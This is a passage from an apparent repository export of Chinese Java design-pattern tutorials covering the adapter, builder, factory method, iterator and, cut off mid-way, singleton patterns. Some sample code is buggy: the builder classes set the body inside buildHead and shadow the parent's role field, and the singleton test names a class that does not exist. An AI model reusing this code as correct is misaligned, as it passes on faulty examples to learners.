开始给我的Iphone6Plus手机充电...\n    使用MicroUsb型号的充电器充电...\n    结束给我的Iphone6Plus手机充电...\n    \n\n上面的例子通过适配器，把一个MicroUsb型号的充电器用来给Iphone充电。从代码层面，就是通过适配器复用了MicroUsb接口及其实现类。在很大程度上复用了已有的代码。\n\n## 优缺点\n\n### 优点\n\n将目标类和适配者类解耦，通过引入一个适配器类来重用现有的适配者类，而无须修改原有代码。\n\n增加了类的透明性和复用性，将具体的实现封装在适配者类中，对于客户端类来说是透明的，而且提高了适配者的复用性。\n\n灵活性和扩展性都非常好，通过使用配置文件，可以很方便地更换适配器，也可以在不修改原有代码的基础上增加新的适配器类，完全符合“开闭原则”。\n\n### 缺点\n\n过多地使用适配器，会让系统非常零乱，不易整体进行把握。比如，明明看到调用的是 A 接口，其实内部被适配成了 B 接口的实现，一个系统如果太多出现这种情况，无异于一场灾难。因此如果不是很有必要，可以不使用适配器，而是直接对系统进行重构。\n\n对于类适配器而言，由于 JAVA 至多继承一个类，所以至多只能适配一个适配者类，而且目标类必须是抽象类\n\n## 总结\n\n结构型模式描述如何将类或者对象结合在一起形成更大的结构。\n\n适配器模式用于将一个接口转换成客户希望的另一个接口，适配器模式使接口不兼容的那些类可以一起工作，其别名为包装器。适配器模式既可以作为类结构型模式，也可以作为对象结构型模式。\n\n适配器模式包含四个角色：\n\n> 目标抽象类定义客户要用的特定领域的接口；\n> \n> 适配器类可以调用另一个接口，作为一个转换器，对适配者和抽象目标类进行适配，它是适配器模式的核心；\n> \n> 适配者类是被适配的角色，它定义了一个已经存在的接口，这个接口需要适配；\n> \n> 在客户类中针对目标抽象类进行编程，调用在目标抽象类中定义的业务方法。\n\n在对象适配器模式中，适配器类继承了目标抽象类(或实现接口)并定义了一个适配者类的对象实例，在所继承的目标抽象类方法中调用适配者类的相应业务方法。\n\n适配器模式的主要优点是将目标类和适配者类解耦，增加了类的透明性和复用性，同时系统的灵活性和扩展性都非常好，更换适配器或者增加新的适配器都非常方便，符合“[开闭原则][3]”；类适配器模式的缺点是适配器类在很多编程语言中不能同时适配多个适配者类，对象适配器模式的缺点是很难置换适配者类的方法。\n\n适配器模式适用情况包括：系统需要使用现有的类，而这些类的接口不符合系统的需要；想要建立一个可以重复使用的类，用于与一些彼此之间没有太大关联的一些类一起工作。\n\n## 参考资料\n\n[适配器模式][4]\n\n[适配器模式][5]\n\n文中所有代码见[GitHub][6]\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://www.hollischuang.com/archives/1319\n [3]: http://www.hollischuang.com/archives/220\n [4]: http://www.runoob.com/design-pattern/adapter-pattern.html\n [5]: http://design-patterns.readthedocs.io/zh_CN/latest/structural_patterns/adapter.html\n [6]: https://github.com/hollischuang/DesignPattern"
  },
  {
    "path": "docs/advance/design-patterns/builder-pattern.md",
    "content": "\n## 概念\n\n建造者模式（英：Builder Pattern）是一种创建型设计模式，又名：生成器模式。GOF 给建造者模式的定义为：将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。这句话说的比较抽象，其实解释一下就是：将建造复杂对象的过程和组成对象的部件解耦。\n\n## 用途\n\n假设现在我们是一家网游设计公司，现在我们要\"抄袭\"梦幻西游这款游戏，你是该公司的游戏角色设计人员。你怎么设计出该游戏中的各种角色呢？ 在梦幻西游来中包括人、仙、魔等种族的角色，而每种不同的种族的角色中又包含龙太子、逍遥生等具体的角色。\n\n作为一个出色的开发人员，我们设计的角色生成系统应该包含以下功能和特性：\n\n> 为了保证游戏平衡，所有角色的基本属性应该一致\n> \n> 因为角色的创建过程可能很复杂，所以角色的生成细节不应该对外暴露\n> \n> 随时可以新增角色\n> \n> 对某个具体角色的修改应该不影响其他角色\n\n其实，对于角色的设计，我们可以使用抽象工厂模式，将同一种族的角色看成是一个产品族。但是，这样做可能存在一个问题，那就是我们可能要在每个角色的创建过程中都要从头到尾的构建一遍该角色。比如一个角色包含头部、身体。其中头部又包括脸部、和其他部位。其中脸部又包含眉毛、嘴巴、鼻子等部位。整个角色的创建过程是极其复杂的。很容易遗漏其中的某个步骤。\n\n那么，我们可以将这些具体部位的创建工作和对象的创建进行解耦。这就是建造者模式。\n\n## 实现方式\n\n建造者模式包含如下角色：\n\n> Builder：抽象建造者(`Builder`)\n> \n> ConcreteBuilder：具体建造者(`CommonBuilder`、`SuperBuilder`)\n> \n> Director：指挥者(`Director`)\n> \n> Product：产品角色(`Role`)\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/05/Builder.jpg\" alt=\"Builder\" width=\"713\" height=\"338\" class=\"alignnone size-full wp-image-1478\" />][2]\n\n这里采用设计角色的例子，为了便于理解，我们只创建两个角色，分别是普通角色和超级角色。他们都有设置头部、脸部、身体、气血值、魔法值、能量值等方法。值得注意的是设置脸部是依赖于设置头部的，要有先后顺序。\n\n产品角色：Role\n\n    public class Role {\n    \n        private String head; //头部\n        private String face; //脸部（脸部依赖于头部）\n        private String body; //身体\n        private Double hp;   //生命值\n        private Double sp;   //能量值\n        private Double mp;   //魔法值\n    \n        //setter and getter \n         // toString \n    }\n    \n\n抽象建造者：Builder\n\n    public abstract class Builder {\n    \n        protected Role role = new Role();\n    \n        public abstract void buildHead();\n    \n        public abstract void buildFace();\n    \n        public abstract void buildBody();\n    \n        public abstract void buildHp();\n    \n        public abstract void buildSp();\n    \n        public abstract void buildMp();\n    \n        public Role getResult() {\n            return role;\n        }\n    }\n    \n\n具体建造者：\n\n    public class CommonRoleBuilder extends Builder {\n    \n        private Role role = new Role();\n    \n        @Override\n        public void buildHead() {\n            role.setBody(\"common head\");\n        }\n    \n        @Override\n        public void buildFace() {\n            role.setFace(\"common face\");\n        }\n    \n        @Override\n        public void buildBody() {\n            role.setBody(\"common body\");\n        }\n    \n        @Override\n        public void buildHp() {\n            role.setHp(100d);\n        }\n    \n        @Override\n        public void buildSp() {\n            role.setSp(100d);\n        }\n    \n        @Override\n        public void buildMp() {\n            role.setMp(100d);\n        }\n    \n        @Override\n        public Role getResult() {\n            return role;\n        }\n    }\n    \n    public class SuperRoleBuilder extends Builder {\n    \n        private Role role = new Role();\n    \n        @Override\n        public void buildHead() {\n            role.setBody(\"suoer head\");\n        }\n    \n        @Override\n        public void buildFace() {\n            role.setFace(\"super face\");\n        }\n    \n        @Override\n        public void buildBody() {\n            role.setBody(\"super body\");\n        }\n    \n        @Override\n        public void buildHp() {\n            role.setHp(120d);\n        }\n    \n        @Override\n        public void buildSp() {\n            role.setSp(120d);\n        }\n    \n        @Override\n        public void buildMp() {\n            role.setMp(120d);\n        }\n    \n        @Override\n        public Role getResult() {\n            return role;\n        }\n    }\n    \n\n指挥者：\n\n    public class Director {\n    \n        public void construct(Builder builder){\n            builder.buildBody();\n            builder.buildHead();\n            builder.buildFace();\n            builder.buildHp();\n            builder.buildMp();\n            builder.buildSp();\n        }\n    }\n    \n\n测试类：\n\n    public class Main {\n    \n        public static void main(String[] args) {\n    \n            Director director = new Director();\n            Builder commonBuilder = new CommonRoleBuilder();\n    \n            director.construct(commonBuilder);\n            Role commonRole = commonBuilder.getResult();\n            System.out.println(commonRole);\n    \n        }\n    }\n    \n\n到这里，一个建造者模式已经完成了，是不是很简单？\n\n* * *\n\n再回到之前的需求，看看我们是否都满足？\n\n由于建造角色的过程比较复杂，其中还有相互依赖关系（如脸部依赖于头部），所以我们使用建造者模式将将建造复杂对象的过程和组成对象的部件解耦。这样既保证了基本属性全都一致（这里的一致指的是该包含的应该全都包含）也封装了其中的具体实现细节。\n\n同时，在修改某个具体角色的时候我们只需要修改对应的具体角色就可以了，不会影响到其他角色。\n\n如果需要新增角色，只要再增加一个具体建造者，并在该建造者中写好具体细节的建造部分代码就OK了。\n\n## 建造者模式的优缺点\n\n### 优点\n\n建造者模式的**封装性很好。使用建造者模式可以有效的封装变化**，在使用建造者模式的场景中，一般产品类和建造者类是比较稳定的，因此，将主要的业务逻辑封装在导演类中对整体而言可以取得比较好的稳定性。\n\n在建造者模式中，**客户端不必知道产品内部组成的细节**，将产品本身与产品的创建过程解耦，使得相同的创建过程可以创建不同的产品对象。\n\n**可以更加精细地控制产品的创建过程** 。将复杂产品的创建步骤分解在不同的方法中，使得创建过程更加清晰，也更方便使用程序来控制创建过程。\n\n其次，**建造者模式很容易进行扩展**。如果有新的需求，通过实现一个新的建造者类就可以完成，基本上不用修改之前已经测试通过的代码，因此也就不会对原有功能引入风险。符合开闭原则。\n\n### 缺点\n\n建造者模式所创建的产品一般具有较多的共同点，其组成部分相似，如果产品之间的差异性很大，则不适合使用建造者模式，因此其使用范围受到一定的限制。\n\n如果产品的内部变化复杂，可能会导致需要定义很多具体建造者类来实现这种变化，导致系统变得很庞大。\n\n## 适用环境\n\n在以下情况下可以使用建造者模式：\n\n> 需要生成的产品对象有复杂的内部结构，这些产品对象通常包含多个成员属性。\n> \n> 需要生成的产品对象的属性相互依赖，需要指定其生成顺序。\n> \n> 对象的创建过程独立于创建该对象的类。在建造者模式中引入了指挥者类，将创建过程封装在指挥者类中，而不在建造者类中。\n> \n> 隔离复杂对象的创建和使用，并使得相同的创建过程可以创建不同的产品。\n\n## 建造者模式与工厂模式的区别\n\n我们可以看到，建造者模式与工厂模式是极为相似的，总体上，建造者模式仅仅只比工厂模式多了一个\"指挥者\"的角色。在建造者模式的类图中，假如把这个导演类看做是最终调用的客户端，那么图中剩余的部分就可以看作是一个简单的工厂模式了。\n\n与工厂模式相比，建造者模式一般用来创建更为复杂的对象，因为对象的创建过程更为复杂，因此将对象的创建过程独立出来组成一个新的类——导演类。\n\n也就是说，工厂模式是将对象的全部创建过程封装在工厂类中，由工厂类向客户端提供最终的产品；而建造者模式中，建造者类一般只提供产品类中各个组件的建造，而将具体建造过程交付给导演类。由导演类负责将各个组件按照特定的规则组建为产品，然后将组建好的产品交付给客户端。\n\n建造者模式与工厂模式类似，适用的场景也很相似。一般来说，如果产品的建造很复杂，那么请用工厂模式；如果产品的建造更复杂，那么请用建造者模式。哈哈哈。。。\n\n## 总结\n\n建造者模式将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。\n\n在建造者模式的结构中引入了一个指挥者类，该类的作用主要有两个：一方面它隔离了客户与生产过程；另一方面它负责控制产品的生成过程。指挥者针对抽象建造者编程，客户端只需要知道具体建造者的类型，即可通过指挥者类调用建造者的相关方法，返回一个完整的产品对象。\n\n## 参考资料\n\n[大话设计模式][3]\n\n[深入浅出设计模式][4]\n\n[建造者模式][5]\n\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://www.hollischuang.com/wp-content/uploads/2016/05/Builder.jpg\n [3]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310\n [4]: http://s.click.taobao.com/t?e=m=2&s=Obpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH/P02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2bw2PNKvM2u52N5aP5%2bgx7zgh4LxdBQDQSXEqY%2bakgpmw&pvid=10_121.0.29.199_322_1460465025379\n [5]: http://design-patterns.readthedocs.io/zh_CN/latest/creational_patterns/builder.html"
  },
  {
    "path": "docs/advance/design-patterns/factory-method-pattern.md",
    "content": "## 概念\n\n工厂方法模式(Factory Method Pattern)又称为工厂模式，也叫虚拟构造器(Virtual Constructor)模式或者多态工厂(Polymorphic Factory)模式，它属于类创建型模式。\n\n工厂方法模式是一种实现了“工厂”概念的面向对象设计模式。就像其他创建型模式一样，它也是处理在不指定对象具体类型的情况下创建对象的问题。\n\n> 工厂方法模式的实质是“定义一个创建对象的接口，但让实现这个接口的类来决定实例化哪个类。工厂方法让类的实例化推迟到子类中进行。”\n\n## 用途\n\n工厂方法模式和[简单工厂模式][2]虽然都是通过工厂来创建对象，他们之间最大的不同是——**工厂方法模式在设计上完全完全符合“[开闭原则][3]”。**\n\n在以下情况下可以使用工厂方法模式：\n\n> 一个类不知道它所需要的对象的类：在工厂方法模式中，客户端不需要知道具体产品类的类名，只需要知道所对应的工厂即可，具体的产品对象由具体工厂类创建；客户端需要知道创建具体产品的工厂类。\n> \n> 一个类通过其子类来指定创建哪个对象：在工厂方法模式中，对于抽象工厂类只需要提供一个创建产品的接口，而由其子类来确定具体要创建的对象，利用面向对象的多态性和[里氏代换原则][3]，在程序运行时，子类对象将覆盖父类对象，从而使得系统更容易扩展。\n> \n> 将创建对象的任务委托给多个工厂子类中的某一个，客户端在使用时可以无须关心是哪一个工厂子类创建产品子类，需要时再动态指定，可将具体工厂类的类名存储在配置文件或数据库中。\n\n## 实现方式\n\n工厂方法模式包含如下角色：\n\n> Product：抽象产品（`Operation`）\n> \n> ConcreteProduct：具体产品(`OperationAdd`)\n> \n> Factory：抽象工厂(`IFactory`)\n> \n> ConcreteFactory：具体工厂(`AddFactory`)\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160412-0.png\" alt=\"QQ20160412-0\" width=\"798\" height=\"518\" class=\"alignnone size-full wp-image-1402\" />][4]\n\n这里还用计算器的例子。在保持`Operation`，`OperationAdd`，`OperationDiv`，`OperationSub`，`OperationMul`等几个方法不变的情况下，修改简单工厂模式中的工厂类（`OperationFactory`）。替代原有的那个\"万能\"的大工厂类，这里使用工厂方法来代替：\n\n    //工厂接口\n    public interface IFactory {\n        Operation CreateOption();\n    }\n    \n    //加法类工厂\n    public class AddFactory implements IFactory {\n    \n        public Operation CreateOption() {\n            return new OperationAdd();\n        }\n    }\n    \n    //除法类工厂\n    public class DivFactory implements IFactory {\n    \n        public Operation CreateOption() {\n            return new OperationDiv();\n        }\n    }\n    \n    //除法类工厂\n    public class MulFactory implements IFactory {\n    \n        public Operation CreateOption() {\n            return new OperationMul();\n        }\n    }\n    \n    //减法类工厂\n    public class SubFactory implements IFactory {\n    \n        public Operation CreateOption() {\n            return new OperationSub();\n        }\n    }\n    \n\n这样，在客户端中想要执行加法运算时，需要以下方式：\n\n    public class Main {\n    \n        public static void main(String[] args) {\n            IFactory factory = new AddFactory();\n            Operation operationAdd =  factory.CreateOption();\n            operationAdd.setValue1(10);\n            operationAdd.setValue2(5);\n            System.out.println(operationAdd.getResult());\n        }\n    }\n    \n\n到这里，一个工厂方法模式就已经写好了。\n\n* * *\n\n从代码量上看，这种工厂方法模式比简单工厂方法模式更加复杂。针对不同的操作（Operation）类都有对应的工厂。很多人会有以下疑问：\n\n> 貌似工厂方法模式比简单工厂模式要复杂的多？\n> \n> 工厂方法模式和我自己创建对象没什么区别？为什么要多搞出一些工厂来？\n\n下面就针对以上两个问题来深入理解一下工厂方法模式。\n\n## 工厂方法模式的利与弊\n\n### 为什么要使用工厂来创建对象？\n\n> 封装对象的创建过程\n\n在工厂方法模式中，工厂方法用来创建客户所需要的产品，同时还向客户**隐藏了哪种具体产品类将被实例化这一细节，用户只需要关心所需产品对应的工厂，无须关心创建细节，甚至无须知道具体产品类的类名。**\n\n基于工厂角色和产品角色的多态性设计是工厂方法模式的关键。**它能够使工厂可以自主确定创建何种产品对象，而如何创建这个对象的细节则完全封装在具体工厂内部。**工厂方法模式之所以又被称为多态工厂模式，是因为所有的具体工厂类都具有同一抽象父类。\n\n### 为什么每种对象要单独有一个工厂？\n\n> 符合『[开放-封闭原则][5]』\n\n主要目的是为了解耦。在系统中加入新产品时，无须修改抽象工厂和抽象产品提供的接口，无须修改客户端，也无须修改其他的具体工厂和具体产品，而只要添加一个具体工厂和具体产品就可以了。这样，系统的可扩展性也就变得非常好，完全符合“[开闭原则][3]”。\n\n以上就是工厂方法模式的优点。但是，工厂模式也有一些不尽如人意的地方：\n\n> 在添加新产品时，需要编写新的具体产品类，而且还要提供与之对应的具体工厂类，系统中类的个数将成对增加，在一定程度上增加了系统的复杂度，有更多的类需要编译和运行，会给系统带来一些额外的开销。\n> \n> 由于考虑到系统的可扩展性，需要引入抽象层，在客户端代码中均使用抽象层进行定义，增加了系统的抽象性和理解难度，且在实现时可能需要用到DOM、反射等技术，增加了系统的实现难度。\n\n## 工厂方法与简单工厂的区别\n\n工厂模式克服了简单工厂模式违背[开放-封闭原则][3]的缺点，又保持了封装对象创建过程的优点。\n\n他们都是集中封装了对象的创建，使得要更换对象时，不需要做大的改动就可实现，降低了客户端与产品对象的耦合。\n\n## 总结\n\n工厂方法模式是简单工厂模式的进一步抽象和推广。\n\n由于使用了面向对象的多态性，工厂方法模式保持了简单工厂模式的优点，而且克服了它的缺点。\n\n在工厂方法模式中，核心的工厂类不再负责所有产品的创建，而是将具体创建工作交给子类去做。这个核心类仅仅负责给出具体工厂必须实现的接口，而不负责产品类被实例化这种细节，这使得工厂方法模式可以允许系统在不修改工厂角色的情况下引进新产品。\n\n工厂方法模式的主要优点是增加新的产品类时无须修改现有系统，并封装了产品对象的创建细节，系统具有良好的灵活性和可扩展性；其缺点在于增加新产品的同时需要增加新的工厂，导致系统类的个数成对增加，在一定程度上增加了系统的复杂性。\n\n文中所有代码见[GitHub][6]\n\n## 参考资料\n\n[大话设计模式][7]\n\n[深入浅出设计模式][8]\n\n[工厂方法模式(Factory Method Pattern)][9]\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://www.hollischuang.com/archives/1391\n [3]: http://www.hollischuang.com/archives/220\n [4]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160412-0.png\n [5]: http://www.hollischuang.com/archives/220http://\n [6]: https://github.com/hollischuang/DesignPattern\n [7]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310\n [8]: http://s.click.taobao.com/t?e=m%3D2%26s%3DObpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_121.0.29.199_322_1460465025379\n [9]: http://design-patterns.readthedocs.org/zh_CN/latest/creational_patterns/factory_method.html#id11"
  },
  {
    "path": "docs/advance/design-patterns/iterator-pattern.md",
    "content": "\n## 概念\n\n一提到迭代器模式很多人可能感觉很陌生，但是实际上，迭代器模式是所有设计模式中最简单也是最常用的设计模式，正是因为他太常用了，所以很多人忽略了他的存在。\n\n> 迭代器模式提供一种方法访问一个容器中各个元素，而又不需要暴露该对象的内部细节。\n\n那么，这里提到的容器是什么呢？其实就是可以包含一组对象的数据结构，如Java中的`Collection`和`Set`。\n\n## 用途\n\n从迭代器模式的概念中我们也看的出来，迭代器模式的重要用途就是帮助我们遍历容器。拿List来举例。如果我们想要遍历他的话，通常有以下几种方式：\n\n        for (int i = 0; i < list.size(); i++) {\n            System.out.print(list.get(i) + \",\");\n        }\n    \n        Iterator iterator = list.iterator();\n        while (iterator.hasNext()) {\n            System.out.print(iterator.next() + \",\");\n        }\n    \n        for (Integer i : list) {\n            System.out.print(i + \",\");\n        }\n    \n\n其实，第二种和[第三种][2]都是基于迭代器模式实现的。本文重点是介绍迭代器模式，那么先暂不介绍Java中内置的迭代器，我们尝试自己实现一下迭代器模式，这样更有助于我们彻底理解迭代器模式。\n\n## 实现方式\n\n迭代器模式包含如下角色：\n\n> Iterator 抽象迭代器\n> \n> ConcreteIterator 具体迭代器\n> \n> Aggregate 抽象容器\n> \n> Concrete Aggregate 具体容器\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2017/02/iterator.jpg\" alt=\"iterator\" width=\"542\" height=\"287\" class=\"aligncenter size-full wp-image-1767\" />][3]\n\n这里我们举一个菜单的例子，我们有一个菜单，我们想要展示出菜单中所有菜品的名字和报价信息等。\n\n先定义抽象迭代器：\n\n    public interface Iterator<E> {\n    \n        boolean hasNext();\n    \n        E next();\n    \n        default void remove() {\n            throw new UnsupportedOperationException(\"remove\");\n        }\n    }\n    \n\n这里的迭代器提供了三个方法，分别包括hasNext方法、next方法和remove方法。\n\n> hasNext 返回该迭代器中是否还有未遍历过的元素\n> \n> next 返回迭代器中的下一个元素\n\n在定义一个具体的迭代器：\n\n    public class MenuIterator implements Iterator {\n    \n        String[] foods;\n        int      position = 0;\n    \n        public MenuIterator(String[] foods){\n            this.foods = foods;\n        }\n    \n        @Override\n        public boolean hasNext() {\n    \n            return position != foods.length;\n        }\n    \n        @Override\n        public Object next() {\n            String food = foods[position];\n            position += 1;\n            return food;\n        }\n    }\n    \n\n这个具体的类实现了Iterator接口，并实现了其中的方法。具体实现就不详细写了，相信都能看得懂（请忽略线程安全问题）。\n\n接下来定义一个抽象容器：\n\n    /**\n     * Created by hollis on 17/2/18.\n     * /\n    public interface Menu {\n    \n        void add(String name);\n    \n        Iterator getIterator();\n    }\n    \n\n这里定义一个菜单接口，只提供两个方法，一个add方法和一个getIterator方法，用于返回一个迭代器。\n\n然后定义一个具体的容器，用于实现Menu接口：\n\n    public class ChineseFoodMenu implements Menu {\n    \n        private String[] foods    = new String[4];\n        private int      position = 0;\n    \n        @Override\n        public void add(String name) {\n            foods[position] = name;\n            position += 1;\n        }\n    \n        @Override\n        public Iterator getIterator() {\n            return new MenuIterator(this.foods);\n        }\n    }\n    \n\n该类的实现也相对简单。至此，我们已经具备了一个迭代器模式需要的所有角色。接下来写一个测试类看看具体使用：\n\n    public class Main {\n    \n        public static void main(String[] args) {\n            ChineseFoodMenu chineseFoodMenu = new ChineseFoodMenu();\n            chineseFoodMenu.add(\"宫保鸡丁\");\n            chineseFoodMenu.add(\"孜然羊肉\");\n            chineseFoodMenu.add(\"水煮鱼\");\n            chineseFoodMenu.add(\"北京烤鸭\");\n    \n            Iterator iterator = chineseFoodMenu.getIterator();\n            while (iterator.hasNext()) {\n                System.out.println(iterator.next());\n            }\n        }\n    }\n    //output:\n    //宫保鸡丁\n    //孜然羊肉\n    //水煮鱼\n    //北京烤鸭\n    \n\n我们通过迭代器的方式实现了对一个容器（Menu）的遍历。迭代器的好处就是我们在Main类中使用Menu的时候根本不知道他底层的实现，只需要通过迭代器来遍历就可以了。\n\n## 总结\n\n迭代器的使用现在非常广泛，因为Java中提供了java.util.Iterator。而且Java中的很多容器（Collection、Set）也都提供了对迭代器的支持。\n\n迭代器甚至可以从23种设计模式中移除，因为他已经普遍的可以称之为工具了。\n\n最后最后，迭代器模式很好用，本文中介绍了如何写迭代器模式，但是，如果你要做Java开发，请直接用Java提供的Iterator。\n\n文中所有代码见[GitHub][4]\n\n [1]: http://www.hollischuang.com/archives/1691\n [2]: http://www.hollischuang.com/archives/1776\n [3]: http://www.hollischuang.com/wp-content/uploads/2017/02/iterator.jpg\n [4]: https://github.com/hollischuang/DesignPattern"
  },
  {
    "path": "docs/advance/design-patterns/singleton-pattern.md",
    "content": "## 概念\n\n单例模式（`Singleton Pattern`）是 Java 中最简单的设计模式之一。这种类型的设计模式属于创建型模式。在 [GOF 书][3]中给出的定义为：保证一个类仅有一个实例，并提供一个访问它的全局访问点。\n\n单例模式一般体现在类声明中，单例的类负责创建自己的对象，同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式，可以直接访问，不需要实例化该类的对象。\n\n## 用途\n\n单例模式有以下两个优点：\n\n> 在内存里只有一个实例，减少了内存的开销，尤其是频繁的创建和销毁实例（比如网站首页页面缓存）。\n> \n> 避免对资源的多重占用（比如写文件操作）。\n\n有时候，我们在选择使用单例模式的时候，不仅仅考虑到其带来的优点，还有可能是有些场景就必须要单例。比如类似\"一个党只能有一个主席\"的情况。\n\n## 实现方式\n\n我们知道，一个类的对象的产生是由类构造函数来完成的。如果一个类对外提供了`public`的构造方法，那么外界就可以任意创建该类的对象。所以，如果想限制对象的产生，一个办法就是将构造函数变为私有的(至少是受保护的)，使外面的类不能通过引用来产生对象。同时为了保证类的可用性，就必须提供一个自己的对象以及访问这个对象的静态方法。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160406-0.png\" alt=\"QQ20160406-0\" width=\"325\" height=\"232\" class=\"alignnone size-full wp-image-1388\" />][4]\n\n### 饿汉式\n\n下面是一个简单的单例的实现：\n\n    //code 1\n    public class Singleton {\n        //在类内部实例化一个实例\n        private static Singleton instance = new Singleton();\n        //私有的构造函数,外部无法访问\n        private Singleton() {\n        }\n        //对外提供获取实例的静态方法\n        public static Singleton getInstance() {\n            return instance;\n        }\n    }\n    \n\n使用以下代码测试：\n\n    //code2\n    public class SingletonClient {\n    \n        public static void main(String[] args) {\n            SimpleSingleton simpleSingleton1 = SimpleSingleton.getInstance();\n            SimpleSingleton simpleSingleton2 = SimpleSingleton.getInstance();\n            System.out.println(simpleSingleton1==simpleSingleton2);\n        }\n    }\n    \n\n输出结果：\n\n    true\n    \n\ncode 1就是一个简单的单例的实现，这种实现方式我们称之为饿汉式。所谓饿汉。这是个比较形象的比喻。对于一个饿汉来说，他希望他想要用到这个实例的时候就能够立即拿到，而不需要任何等待时间。所以，通过`static`的静态初始化方式，在该类第一次被加载的时候，就有一个`SimpleSingleton`的实例被创建出来了。这样就保证在第一次想要使用该对象时，他已经被初始化好了。\n\n同时，由于该实例在类被加载的时候就创建出来了，所以也避免了线程安全问题。（原因见：[在深度分析Java的ClassLoader机制（源码级别）][5]、[Java类的加载、链接和初始化][6]）\n\n还有一种饿汉模式的变种：\n\n    //code 3\n    public class Singleton2 {\n        //在类内部定义\n        private static Singleton2 instance;\n        static {\n            //实例化该实例\n            instance = new Singleton2();\n        }\n        //私有的构造函数,外部无法访问\n        private Singleton2() {\n        }\n        //对外提供获取实例的静态方法\n        public static Singleton2 getInstance() {\n            return instance;\n        }\n    }\n    \n\ncode 3和code 1其实是一样的，都是在类被加载的时候实例化一个对象。\n\n**饿汉式单例，在类被加载的时候对象就会实例化。这也许会造成不必要的消耗，因为有可能这个实例根本就不会被用到。而且，如果这个类被多次加载的话也会造成多次实例化。其实解决这个问题的方式有很多，下面提供两种解决方式，第一种是使用静态内部类的形式。第二种是使用懒汉式。**\n\n### 静态内部类式\n\n先来看通过静态内部类的方式解决上面的问题：\n\n    //code 4\n    public class StaticInnerClassSingleton {\n        //在静态内部类中初始化实例对象\n        private static class SingletonHolder {\n            private static final StaticInnerClassSingleton INSTANCE = new StaticInnerClassSingleton();\n        }\n        //私有的构造方法\n        private StaticInnerClassSingleton() {\n        }\n        //对外提供获取实例的静态方法\n        public static final StaticInnerClassSingleton getInstance() {\n            return SingletonHolder.INSTANCE;\n        }\n    }\n    \n\n这种方式同样利用了classloder的机制来保证初始化`instance`时只有一个线程，它跟饿汉式不同的是（很细微的差别）：饿汉式是只要`Singleton`类被装载了，那么`instance`就会被实例化（没有达到lazy loading效果），而这种方式是`Singleton`类被装载了，`instance`不一定被初始化。因为`SingletonHolder`类没有被主动使用，只有显示通过调用`getInstance`方法时，才会显示装载`SingletonHolder`类，从而实例化`instance`。想象一下，如果实例化`instance`很消耗资源，我想让他延迟加载，另外一方面，我不希望在`Singleton`类加载时就实例化，因为我不能确保`Singleton`类还可能在其他的地方被主动使用从而被加载，那么这个时候实例化`instance`显然是不合适的。这个时候，这种方式相比饿汉式更加合理。\n\n### 懒汉式\n\n下面看另外一种在该对象真正被使用的时候才会实例化的单例模式——懒汉模式。\n\n    //code 5\n    public class Singleton {\n        //定义实例\n        private static Singleton instance;\n        //私有构造方法\n        private Singleton(){}\n        //对外提供获取实例的静态方法\n        public static Singleton getInstance() {\n            //在对象被使用的时候才实例化\n            if (instance == null) {\n                instance = new Singleton();\n            }\n            return instance;\n        }\n    }\n    \n\n上面这种单例叫做懒汉式单例。懒汉，就是不会提前把实例创建出来，将类对自己的实例化延迟到第一次被引用的时候。`getInstance`方法的作用是希望该对象在第一次被使用的时候被`new`出来。\n\n有没有发现，其实code 5这种懒汉式单例其实还存在一个问题，那就是线程安全问题。在多线程情况下，有可能两个线程同时进入`if`语句中，这样，在两个线程都从if中退出的时候就创建了两个不一样的对象。（这里就不详细讲解了，不理解的请恶补多线程知识）。\n\n### 线程安全的懒汉式\n\n针对线程不安全的懒汉式的单例，其实解决方式很简单，就是给创建对象的步骤加锁：\n\n    //code 6\n    public class SynchronizedSingleton {\n        //定义实例\n        private static SynchronizedSingleton instance;\n        //私有构造方法\n        private SynchronizedSingleton(){}\n        //对外提供获取实例的静态方法,对该方法加锁\n        public static synchronized SynchronizedSingleton getInstance() {\n            //在对象被使用的时候才实例化\n            if (instance == null) {\n                instance = new SynchronizedSingleton();\n            }\n            return instance;\n        }\n    }\n    